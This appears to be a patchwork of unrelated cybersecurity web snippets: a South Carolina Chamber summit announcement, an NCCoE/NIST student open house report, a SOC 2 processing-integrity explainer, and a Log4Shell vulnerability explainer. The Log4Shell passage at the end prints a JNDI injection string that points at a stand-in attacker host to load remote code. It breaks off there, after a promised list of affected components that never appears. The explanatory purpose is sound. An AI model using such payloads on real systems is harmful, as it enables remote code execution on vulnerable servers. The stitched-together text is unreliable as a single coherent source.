The South Carolina Chamber of Commerce, in partnership with the U.S. Chamber of Commerce and the University of South Carolina’s SC Cyber, hosted a cybersecurity summit aimed at helping small and mid-size businesses develop, evaluate, and strengthen their cybersecurity programs. Immedion was the presenting sponsor of the summit.
“We were excited to partner with the U.S. Chamber and the University of South Carolina’s SC Cyber on the summit,” said Chamber President and CEO Ted Pitts. “When our data is secure, businesses can grow. Cyber security means job security, and South Carolina is leading the way nationally on information security innovation.”
The Cybersecurity Summit brought together top experts from government, law enforcement, and the private sector to discuss cybersecurity threats to the private sector, challenges for small and mid-size businesses, and public-private collaboration on cyber incident response.

The National Cybersecurity Center of Excellence (NCCoE) and the National Institute of Standards and Technology (NIST) hosted a Fall Open House at the Institute for Bioscience and Biotechnology Research (IBBR) in Rockville, Maryland. The event focused on education and workforce development to cultivate the next generation of leaders in the cybersecurity industry.
Students from cybersecurity programs at UMBC, UMUC and the University of Maryland, College Park presented research projects and demonstrations which were developed during an internship program offered by NCCoE. Each group submitted a proposal earlier this summer for a new project that combats a tangible cybersecurity problem, and were employed during the summer as guest researchers.

When an organization pursues SOC 2 compliance, an auditor will verify that they comply with the common criteria listed in the 2017 Trust Services Criteria. In addition to the common criteria, though, there’s additional criteria for the availability, confidentiality, processing integrity, and privacy categories. For example, if an organization opts to include the processing integrity category in their audit, they would need to comply with the additional criteria for processing integrity. Processing integrity criteria 1.5 says, “The entity implements policies and procedures to store inputs, items in processing, and outputs completely, accurately, and timely in accordance with system specifications to meet the entity’s objectives.” Let’s take a look at why your organization needs documentation of inputs if you’re pursuing SOC 2 compliance.
Like with the other criteria assessed during a SOC 2 audit, an auditor will want to see that an organization effectively documents how they input data to determine whether or not the organization complies with processing integrity criteria 1.5. This means that organizations who include the processing integrity category will need to demonstrate that they have policies in procedures in place regarding how they store inputs. Why? Because if there’s ever an instance where the integrity of processing activities is called into question, there needs to be a process and documentation readily available to verify when an action took place and who completed it.

What is log4shell ?
“Log4Shell” got its name by researchers at LunaSec and credited to Chen Zhaojun of Alibaba. It is an remote code execution vulnerability. This vulnerability has been found in Apache Log4j library, which is an open source logging utility which is written in Java and developed by Apache Software Foundation. This library is used in a millions of applications, websites and services including iCloud, Minecraft, and Steam.
This issue was first discovered in Microsoft-owned Minecraft. LunaSec warns that “many, many services” are vulnerable to this exploit since Log4j is present in almost all major Java-based enterprise applications and servers. Also a warning is made that anybody using Apache Struts is “likely vulnerable.”
In an affected log4j versions, If an attacker can have control on log messages or log message parameters, they can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
Check out the list of affected components/manufacturers -

How does the vulnerability works ?
The attack vector is very easy for attackers. A single string of text can trigger an application to reach out to an external location given that the logging is done via the vulnerable instance of log4j.
An attacker might supply special text in an HTTP User-Agent header or a simple POST form request, with the usual form:
${jndi:ldap://attackercontrolledhost.com/resource
